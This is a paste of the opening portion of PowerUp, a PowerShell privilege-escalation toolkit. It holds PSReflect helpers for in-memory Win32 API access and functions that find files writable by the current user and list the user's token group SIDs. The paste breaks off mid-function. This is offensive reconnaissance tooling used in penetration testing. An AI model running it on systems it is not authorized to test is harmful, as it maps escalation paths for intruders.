· 7 years ago · Sep 27, 2018, 01:10 PM
1<#
2 PowerUp aims to be a clearinghouse of common Windows privilege escalation
3 vectors that rely on misconfigurations. See README.md for more information.
4
5 Author: @harmj0y
6 License: BSD 3-Clause
7 Required Dependencies: None
8 Optional Dependencies: None
9#>
10
11#Requires -Version 2
12
13
14########################################################
15#
16# PSReflect code for Windows API access
17# Author: @mattifestation
18# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
19#
20########################################################
21
22function New-InMemoryModule
23{
24<#
25.SYNOPSIS
26
27Creates an in-memory assembly and module
28
29Author: Matthew Graeber (@mattifestation)
30License: BSD 3-Clause
31Required Dependencies: None
32Optional Dependencies: None
33
34.DESCRIPTION
35
36When defining custom enums, structs, and unmanaged functions, it is
37necessary to associate to an assembly module. This helper function
38creates an in-memory module that can be passed to the 'enum',
39'struct', and Add-Win32Type functions.
40
41.PARAMETER ModuleName
42
43Specifies the desired name for the in-memory assembly and module. If
44ModuleName is not provided, it will default to a GUID.
45
46.EXAMPLE
47
48$Module = New-InMemoryModule -ModuleName Win32
49#>
50
51 Param
52 (
53 [Parameter(Position = 0)]
54 [ValidateNotNullOrEmpty()]
55 [String]
56 $ModuleName = [Guid]::NewGuid().ToString()
57 )
58
59 $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
60 $LoadedAssemblies = $AppDomain.GetAssemblies()
61
62 foreach ($Assembly in $LoadedAssemblies) {
63 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
64 return $Assembly
65 }
66 }
67
68 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
69 $Domain = $AppDomain
70 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
71 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
72
73 return $ModuleBuilder
74}
75
76
77# A helper function used to reduce typing while defining function
78# prototypes for Add-Win32Type.
79function func
80{
81 Param
82 (
83 [Parameter(Position = 0, Mandatory=$True)]
84 [String]
85 $DllName,
86
87 [Parameter(Position = 1, Mandatory=$True)]
88 [string]
89 $FunctionName,
90
91 [Parameter(Position = 2, Mandatory=$True)]
92 [Type]
93 $ReturnType,
94
95 [Parameter(Position = 3)]
96 [Type[]]
97 $ParameterTypes,
98
99 [Parameter(Position = 4)]
100 [Runtime.InteropServices.CallingConvention]
101 $NativeCallingConvention,
102
103 [Parameter(Position = 5)]
104 [Runtime.InteropServices.CharSet]
105 $Charset,
106
107 [String]
108 $EntryPoint,
109
110 [Switch]
111 $SetLastError
112 )
113
114 $Properties = @{
115 DllName = $DllName
116 FunctionName = $FunctionName
117 ReturnType = $ReturnType
118 }
119
120 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
121 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
122 if ($Charset) { $Properties['Charset'] = $Charset }
123 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
124 if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
125
126 New-Object PSObject -Property $Properties
127}
128
129
130function Add-Win32Type
131{
132<#
133.SYNOPSIS
134
135Creates a .NET type for an unmanaged Win32 function.
136
137Author: Matthew Graeber (@mattifestation)
138License: BSD 3-Clause
139Required Dependencies: None
140Optional Dependencies: func
141
142.DESCRIPTION
143
144Add-Win32Type enables you to easily interact with unmanaged (i.e.
145Win32 unmanaged) functions in PowerShell. After providing
146Add-Win32Type with a function signature, a .NET type is created
147using reflection (i.e. csc.exe is never called like with Add-Type).
148
149The 'func' helper function can be used to reduce typing when defining
150multiple function definitions.
151
152.PARAMETER DllName
153
154The name of the DLL.
155
156.PARAMETER FunctionName
157
158The name of the target function.
159
160.PARAMETER EntryPoint
161
162The DLL export function name. This argument should be specified if the
163specified function name is different than the name of the exported
164function.
165
166.PARAMETER ReturnType
167
168The return type of the function.
169
170.PARAMETER ParameterTypes
171
172The function parameters.
173
174.PARAMETER NativeCallingConvention
175
176Specifies the native calling convention of the function. Defaults to
177stdcall.
178
179.PARAMETER Charset
180
181If you need to explicitly call an 'A' or 'W' Win32 function, you can
182specify the character set.
183
184.PARAMETER SetLastError
185
186Indicates whether the callee calls the SetLastError Win32 API
187function before returning from the attributed method.
188
189.PARAMETER Module
190
191The in-memory module that will host the functions. Use
192New-InMemoryModule to define an in-memory module.
193
194.PARAMETER Namespace
195
196An optional namespace to prepend to the type. Add-Win32Type defaults
197to a namespace consisting only of the name of the DLL.
198
199.EXAMPLE
200
201$Mod = New-InMemoryModule -ModuleName Win32
202
203$FunctionDefinitions = @(
204 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
205 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
206 (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
207)
208
209$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
210$Kernel32 = $Types['kernel32']
211$Ntdll = $Types['ntdll']
212$Ntdll::RtlGetCurrentPeb()
213$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
214$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
215
216.NOTES
217
218Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
219
220When defining multiple function prototypes, it is ideal to provide
221Add-Win32Type with an array of function signatures. That way, they
222are all incorporated into the same in-memory module.
223#>
224
225 [OutputType([Hashtable])]
226 Param(
227 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
228 [String]
229 $DllName,
230
231 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
232 [String]
233 $FunctionName,
234
235 [Parameter(ValueFromPipelineByPropertyName=$True)]
236 [String]
237 $EntryPoint,
238
239 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
240 [Type]
241 $ReturnType,
242
243 [Parameter(ValueFromPipelineByPropertyName=$True)]
244 [Type[]]
245 $ParameterTypes,
246
247 [Parameter(ValueFromPipelineByPropertyName=$True)]
248 [Runtime.InteropServices.CallingConvention]
249 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
250
251 [Parameter(ValueFromPipelineByPropertyName=$True)]
252 [Runtime.InteropServices.CharSet]
253 $Charset = [Runtime.InteropServices.CharSet]::Auto,
254
255 [Parameter(ValueFromPipelineByPropertyName=$True)]
256 [Switch]
257 $SetLastError,
258
259 [Parameter(Mandatory=$True)]
260 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
261 $Module,
262
263 [ValidateNotNull()]
264 [String]
265 $Namespace = ''
266 )
267
268 BEGIN
269 {
270 $TypeHash = @{}
271 }
272
273 PROCESS
274 {
275 if ($Module -is [Reflection.Assembly])
276 {
277 if ($Namespace)
278 {
279 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
280 }
281 else
282 {
283 $TypeHash[$DllName] = $Module.GetType($DllName)
284 }
285 }
286 else
287 {
288 # Define one type for each DLL
289 if (!$TypeHash.ContainsKey($DllName))
290 {
291 if ($Namespace)
292 {
293 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
294 }
295 else
296 {
297 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
298 }
299 }
300
301 $Method = $TypeHash[$DllName].DefineMethod(
302 $FunctionName,
303 'Public,Static,PinvokeImpl',
304 $ReturnType,
305 $ParameterTypes)
306
307 # Make each ByRef parameter an Out parameter
308 $i = 1
309 foreach($Parameter in $ParameterTypes)
310 {
311 if ($Parameter.IsByRef)
312 {
313 [void] $Method.DefineParameter($i, 'Out', $null)
314 }
315
316 $i++
317 }
318
319 $DllImport = [Runtime.InteropServices.DllImportAttribute]
320 $SetLastErrorField = $DllImport.GetField('SetLastError')
321 $CallingConventionField = $DllImport.GetField('CallingConvention')
322 $CharsetField = $DllImport.GetField('CharSet')
323 $EntryPointField = $DllImport.GetField('EntryPoint')
324 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
325
326 if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
327
328 # Equivalent to C# version of [DllImport(DllName)]
329 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
330 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
331 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
332 [Reflection.FieldInfo[]] @($SetLastErrorField,
333 $CallingConventionField,
334 $CharsetField,
335 $EntryPointField),
336 [Object[]] @($SLEValue,
337 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
338 ([Runtime.InteropServices.CharSet] $Charset),
339 $ExportedFuncName))
340
341 $Method.SetCustomAttribute($DllImportAttribute)
342 }
343 }
344
345 END
346 {
347 if ($Module -is [Reflection.Assembly])
348 {
349 return $TypeHash
350 }
351
352 $ReturnTypes = @{}
353
354 foreach ($Key in $TypeHash.Keys)
355 {
356 $Type = $TypeHash[$Key].CreateType()
357
358 $ReturnTypes[$Key] = $Type
359 }
360
361 return $ReturnTypes
362 }
363}
364
365
366function psenum
367{
368<#
369.SYNOPSIS
370
371Creates an in-memory enumeration for use in your PowerShell session.
372
373Author: Matthew Graeber (@mattifestation)
374License: BSD 3-Clause
375Required Dependencies: None
376Optional Dependencies: None
377
378.DESCRIPTION
379
380The 'psenum' function facilitates the creation of enums entirely in
381memory using as close to a "C style" as PowerShell will allow.
382
383.PARAMETER Module
384
385The in-memory module that will host the enum. Use
386New-InMemoryModule to define an in-memory module.
387
388.PARAMETER FullName
389
390The fully-qualified name of the enum.
391
392.PARAMETER Type
393
394The type of each enum element.
395
396.PARAMETER EnumElements
397
398A hashtable of enum elements.
399
400.PARAMETER Bitfield
401
402Specifies that the enum should be treated as a bitfield.
403
404.EXAMPLE
405
406$Mod = New-InMemoryModule -ModuleName Win32
407
408$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
409 UNKNOWN = 0
410 NATIVE = 1 # Image doesn't require a subsystem.
411 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
412 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
413 OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
414 POSIX_CUI = 7 # Image runs in the Posix character subsystem.
415 NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
416 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
417 EFI_APPLICATION = 10
418 EFI_BOOT_SERVICE_DRIVER = 11
419 EFI_RUNTIME_DRIVER = 12
420 EFI_ROM = 13
421 XBOX = 14
422 WINDOWS_BOOT_APPLICATION = 16
423}
424
425.NOTES
426
427PowerShell purists may disagree with the naming of this function but
428again, this was developed in such a way so as to emulate a "C style"
429definition as closely as possible. Sorry, I'm not going to name it
430New-Enum. :P
431#>
432
433 [OutputType([Type])]
434 Param
435 (
436 [Parameter(Position = 0, Mandatory=$True)]
437 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
438 $Module,
439
440 [Parameter(Position = 1, Mandatory=$True)]
441 [ValidateNotNullOrEmpty()]
442 [String]
443 $FullName,
444
445 [Parameter(Position = 2, Mandatory=$True)]
446 [Type]
447 $Type,
448
449 [Parameter(Position = 3, Mandatory=$True)]
450 [ValidateNotNullOrEmpty()]
451 [Hashtable]
452 $EnumElements,
453
454 [Switch]
455 $Bitfield
456 )
457
458 if ($Module -is [Reflection.Assembly])
459 {
460 return ($Module.GetType($FullName))
461 }
462
463 $EnumType = $Type -as [Type]
464
465 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
466
467 if ($Bitfield)
468 {
469 $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
470 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
471 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
472 }
473
474 foreach ($Key in $EnumElements.Keys)
475 {
476 # Apply the specified enum type to each element
477 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
478 }
479
480 $EnumBuilder.CreateType()
481}
482
483
484# A helper function used to reduce typing while defining struct
485# fields.
486function field
487{
488 Param
489 (
490 [Parameter(Position = 0, Mandatory=$True)]
491 [UInt16]
492 $Position,
493
494 [Parameter(Position = 1, Mandatory=$True)]
495 [Type]
496 $Type,
497
498 [Parameter(Position = 2)]
499 [UInt16]
500 $Offset,
501
502 [Object[]]
503 $MarshalAs
504 )
505
506 @{
507 Position = $Position
508 Type = $Type -as [Type]
509 Offset = $Offset
510 MarshalAs = $MarshalAs
511 }
512}
513
514
515function struct
516{
517<#
518.SYNOPSIS
519
520Creates an in-memory struct for use in your PowerShell session.
521
522Author: Matthew Graeber (@mattifestation)
523License: BSD 3-Clause
524Required Dependencies: None
525Optional Dependencies: field
526
527.DESCRIPTION
528
529The 'struct' function facilitates the creation of structs entirely in
530memory using as close to a "C style" as PowerShell will allow. Struct
531fields are specified using a hashtable where each field of the struct
532is comprosed of the order in which it should be defined, its .NET
533type, and optionally, its offset and special marshaling attributes.
534
535One of the features of 'struct' is that after your struct is defined,
536it will come with a built-in GetSize method as well as an explicit
537converter so that you can easily cast an IntPtr to the struct without
538relying upon calling SizeOf and/or PtrToStructure in the Marshal
539class.
540
541.PARAMETER Module
542
543The in-memory module that will host the struct. Use
544New-InMemoryModule to define an in-memory module.
545
546.PARAMETER FullName
547
548The fully-qualified name of the struct.
549
550.PARAMETER StructFields
551
552A hashtable of fields. Use the 'field' helper function to ease
553defining each field.
554
555.PARAMETER PackingSize
556
557Specifies the memory alignment of fields.
558
559.PARAMETER ExplicitLayout
560
561Indicates that an explicit offset for each field will be specified.
562
563.EXAMPLE
564
565$Mod = New-InMemoryModule -ModuleName Win32
566
567$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
568 DOS_SIGNATURE = 0x5A4D
569 OS2_SIGNATURE = 0x454E
570 OS2_SIGNATURE_LE = 0x454C
571 VXD_SIGNATURE = 0x454C
572}
573
574$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
575 e_magic = field 0 $ImageDosSignature
576 e_cblp = field 1 UInt16
577 e_cp = field 2 UInt16
578 e_crlc = field 3 UInt16
579 e_cparhdr = field 4 UInt16
580 e_minalloc = field 5 UInt16
581 e_maxalloc = field 6 UInt16
582 e_ss = field 7 UInt16
583 e_sp = field 8 UInt16
584 e_csum = field 9 UInt16
585 e_ip = field 10 UInt16
586 e_cs = field 11 UInt16
587 e_lfarlc = field 12 UInt16
588 e_ovno = field 13 UInt16
589 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
590 e_oemid = field 15 UInt16
591 e_oeminfo = field 16 UInt16
592 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
593 e_lfanew = field 18 Int32
594}
595
596# Example of using an explicit layout in order to create a union.
597$TestUnion = struct $Mod TestUnion @{
598 field1 = field 0 UInt32 0
599 field2 = field 1 IntPtr 0
600} -ExplicitLayout
601
602.NOTES
603
604PowerShell purists may disagree with the naming of this function but
605again, this was developed in such a way so as to emulate a "C style"
606definition as closely as possible. Sorry, I'm not going to name it
607New-Struct. :P
608#>
609
610 [OutputType([Type])]
611 Param
612 (
613 [Parameter(Position = 1, Mandatory=$True)]
614 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
615 $Module,
616
617 [Parameter(Position = 2, Mandatory=$True)]
618 [ValidateNotNullOrEmpty()]
619 [String]
620 $FullName,
621
622 [Parameter(Position = 3, Mandatory=$True)]
623 [ValidateNotNullOrEmpty()]
624 [Hashtable]
625 $StructFields,
626
627 [Reflection.Emit.PackingSize]
628 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
629
630 [Switch]
631 $ExplicitLayout
632 )
633
634 if ($Module -is [Reflection.Assembly])
635 {
636 return ($Module.GetType($FullName))
637 }
638
639 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
640 Class,
641 Public,
642 Sealed,
643 BeforeFieldInit'
644
645 if ($ExplicitLayout)
646 {
647 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
648 }
649 else
650 {
651 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
652 }
653
654 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
655 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
656 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
657
658 $Fields = New-Object Hashtable[]($StructFields.Count)
659
660 # Sort each field according to the orders specified
661 # Unfortunately, PSv2 doesn't have the luxury of the
662 # hashtable [Ordered] accelerator.
663 foreach ($Field in $StructFields.Keys)
664 {
665 $Index = $StructFields[$Field]['Position']
666 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
667 }
668
669 foreach ($Field in $Fields)
670 {
671 $FieldName = $Field['FieldName']
672 $FieldProp = $Field['Properties']
673
674 $Offset = $FieldProp['Offset']
675 $Type = $FieldProp['Type']
676 $MarshalAs = $FieldProp['MarshalAs']
677
678 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
679
680 if ($MarshalAs)
681 {
682 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
683 if ($MarshalAs[1])
684 {
685 $Size = $MarshalAs[1]
686 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
687 $UnmanagedType, $SizeConst, @($Size))
688 }
689 else
690 {
691 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
692 }
693
694 $NewField.SetCustomAttribute($AttribBuilder)
695 }
696
697 if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
698 }
699
700 # Make the struct aware of its own size.
701 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
702 $SizeMethod = $StructBuilder.DefineMethod('GetSize',
703 'Public, Static',
704 [Int],
705 [Type[]] @())
706 $ILGenerator = $SizeMethod.GetILGenerator()
707 # Thanks for the help, Jason Shirk!
708 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
709 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
710 [Type].GetMethod('GetTypeFromHandle'))
711 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
712 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
713 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
714
715 # Allow for explicit casting from an IntPtr
716 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
717 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
718 'PrivateScope, Public, Static, HideBySig, SpecialName',
719 $StructBuilder,
720 [Type[]] @([IntPtr]))
721 $ILGenerator2 = $ImplicitConverter.GetILGenerator()
722 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
723 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
724 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
725 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
726 [Type].GetMethod('GetTypeFromHandle'))
727 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
728 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
729 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
730 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
731
732 $StructBuilder.CreateType()
733}
734
735
736########################################################
737#
738# PowerUp Helpers
739#
740########################################################
741
742function Get-ModifiablePath {
743<#
744 .SYNOPSIS
745
746 Parses a passed string containing multiple possible file/folder paths and returns
747 the file paths where the current user has modification rights.
748
749 Author: @harmj0y
750 License: BSD 3-Clause
751
752 .DESCRIPTION
753
754 Takes a complex path specification of an initial file/folder path with possible
755 configuration files, 'tokenizes' the string in a number of possible ways, and
756 enumerates the ACLs for each path that currently exists on the system. Any path that
757 the current user has modification rights on is returned in a custom object that contains
758 the modifiable path, associated permission set, and the IdentityReference with the specified
759 rights. The SID of the current user and any group he/she are a part of are used as the
760 comparison set against the parsed path DACLs.
761
762 .PARAMETER Path
763
764 The string path to parse for modifiable files. Required
765
766 .PARAMETER LiteralPaths
767
768 Switch. Treat all paths as literal (i.e. don't do 'tokenization').
769
770 .EXAMPLE
771
772 PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
773
774 Path Permissions IdentityReference
775 ---- ----------- -----------------
776 C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
777 C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
778
779 .EXAMPLE
780
781 PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath
782
783 Path Permissions IdentityReference
784 ---- ----------- -----------------
785 C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
786 C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
787 ...
788#>
789
790 [CmdletBinding()]
791 Param(
792 [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
793 [Alias('FullName')]
794 [String[]]
795 $Path,
796
797 [Switch]
798 $LiteralPaths
799 )
800
801 BEGIN {
802 # # false positives ?
803 # $Excludes = @("MsMpEng.exe", "NisSrv.exe")
804
805 # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
806 $AccessMask = @{
807 [uint32]'0x80000000' = 'GenericRead'
808 [uint32]'0x40000000' = 'GenericWrite'
809 [uint32]'0x20000000' = 'GenericExecute'
810 [uint32]'0x10000000' = 'GenericAll'
811 [uint32]'0x02000000' = 'MaximumAllowed'
812 [uint32]'0x01000000' = 'AccessSystemSecurity'
813 [uint32]'0x00100000' = 'Synchronize'
814 [uint32]'0x00080000' = 'WriteOwner'
815 [uint32]'0x00040000' = 'WriteDAC'
816 [uint32]'0x00020000' = 'ReadControl'
817 [uint32]'0x00010000' = 'Delete'
818 [uint32]'0x00000100' = 'WriteAttributes'
819 [uint32]'0x00000080' = 'ReadAttributes'
820 [uint32]'0x00000040' = 'DeleteChild'
821 [uint32]'0x00000020' = 'Execute/Traverse'
822 [uint32]'0x00000010' = 'WriteExtendedAttributes'
823 [uint32]'0x00000008' = 'ReadExtendedAttributes'
824 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
825 [uint32]'0x00000002' = 'WriteData/AddFile'
826 [uint32]'0x00000001' = 'ReadData/ListDirectory'
827 }
828
829 $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
830 $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
831 $CurrentUserSids += $UserIdentity.User.Value
832
833 $TranslatedIdentityReferences = @{}
834 }
835
836 PROCESS {
837
838 ForEach($TargetPath in $Path) {
839
840 $CandidatePaths = @()
841
842 # possible separator character combinations
843 $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
844
845 if($PSBoundParameters['LiteralPaths']) {
846
847 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
848
849 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
850 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
851 }
852 else {
853 # if the path doesn't exist, check if the parent folder allows for modification
854 try {
855 $ParentPath = Split-Path $TempPath -Parent
856 if($ParentPath -and (Test-Path -Path $ParentPath)) {
857 $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
858 }
859 }
860 catch {
861 # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
862 }
863 }
864 }
865 else {
866 ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
867 $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
868
869 if(($SeparationCharacterSet -notmatch ' ')) {
870
871 $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()
872
873 if($TempPath -and ($TempPath -ne '')) {
874 if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
875 # if the path exists, resolve it and add it to the candidate list
876 $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
877 }
878
879 else {
880 # if the path doesn't exist, check if the parent folder allows for modification
881 try {
882 $ParentPath = (Split-Path -Path $TempPath -Parent).Trim()
883 if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) {
884 $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
885 }
886 }
887 catch {
888 # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
889 }
890 }
891 }
892 }
893 else {
894 # if the separator contains a space
895 $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
896 }
897 }
898 }
899 }
900
901 $CandidatePaths | Sort-Object -Unique | ForEach-Object {
902 $CandidatePath = $_
903 Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
904
905 $FileSystemRights = $_.FileSystemRights.value__
906
907 $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
908
909 # the set of permission types that allow for modification
910 $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
911
912 if($Comparison) {
913 if ($_.IdentityReference -notmatch '^S-1-5.*') {
914 if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
915 # translate the IdentityReference if it's a username and not a SID
916 $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
917 $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
918 }
919 $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
920 }
921 else {
922 $IdentitySID = $_.IdentityReference
923 }
924
925 if($CurrentUserSids -contains $IdentitySID) {
926 New-Object -TypeName PSObject -Property @{
927 ModifiablePath = $CandidatePath
928 IdentityReference = $_.IdentityReference
929 Permissions = $Permissions
930 }
931 }
932 }
933 }
934 }
935 }
936 }
937}
938
939
940function Get-CurrentUserTokenGroupSid {
941<#
942 .SYNOPSIS
943
944 Returns all SIDs that the current user is a part of, whether they are disabled or not.
945
946 Author: @harmj0y
947 License: BSD 3-Clause
948
949 .DESCRIPTION
950
951 First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds
952 this to OpenProcessToken() to open up a handle to the current process token. The API call
953 GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process
954 token. Each group is iterated through and the SID structure is converted to a readable
955 string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of
956 (disabled or not) is returned as a string array.
957
958 .LINK
959
960 https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
961 https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx
962 https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
963#>
964
965 [CmdletBinding()]
966 Param()
967
968 $CurrentProcess = $Kernel32::GetCurrentProcess()
969
970 $TOKEN_QUERY= 0x0008
971
972 # open up a pseudo handle to the current process- don't need to worry about closing
973 [IntPtr]$hProcToken = [IntPtr]::Zero
974 $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
975
976 if($Success) {
977 $TokenGroupsPtrSize = 0
978 # Initial query to determine the necessary buffer size
979 $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize)
980
981 [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize)
982
983 # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure
984 $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
985
986 if($Success) {
987
988 $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS
989
990 For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) {
991 # convert each token group SID to a displayable string
992 $SidString = ''
993 $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
994 if($Result -eq 0) {
995 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
996 }
997 else {
